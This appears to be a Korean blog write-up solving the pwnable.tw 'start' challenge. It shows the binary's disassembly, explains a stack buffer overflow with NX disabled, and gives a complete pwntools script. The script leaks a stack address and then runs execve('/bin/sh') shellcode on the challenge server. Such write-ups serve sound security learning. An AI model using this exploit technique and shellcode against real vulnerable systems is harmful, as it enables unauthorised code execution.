start
처음에 조금 방황을했지만 보호기법을 꼭 생각하자보호기법이 꺼져있으면 다 이유가있음
nx bit disabled 인것으로 shell code를 이용해야 하는것을 바로 알아차려야 했었다… 계속 syscall 어떻게 이용할까만 생각을해버려서 시간만 날려버렸다.
.text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
leave 가 없으므로 기존 방식으로면 SFP 위치가 RET 된다.
08048093부터 보면 read(0,[ecx],60)
맞나?
입력받는 부분부터 RET까지 거리는 0x14 이므로 overflow 가 발생한다
풀이는 먼저 RET를 0x0804808b 로 바꿔주면서 memory leak 을 해주고다음 read 입력으로 shellcode 와 RET까지 dummy를 채워준다add esp ,14h 가 한번더 있는것을 유의하자.
from pwn import *
context.log_level = 'debug'#p=process("./start")
p=remote("chall.pwnable.tw", 10000)
shell = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
w_g = 0x0804808b
start = 0x08048060
ad = 0x08048099
p.recvuntil("CTF:")
py = 'A'*20
py += p32(w_g)
p.send(py)
leak = u32(p.recvuntil("\xff")[-4:])
print hex(leak)
base = leak - 0x1c
py2 = shell
py2 += 'A'*(44-len(shell))
py2 += p32(base)
p.sendline(py2)
p.interactive()
'Pwnable > pwnable.tw' 카테고리의 다른 글
hacknote (0) | 2020.03.14 |
---|---|
pwnable.tw orw (0) | 2019.09.05 |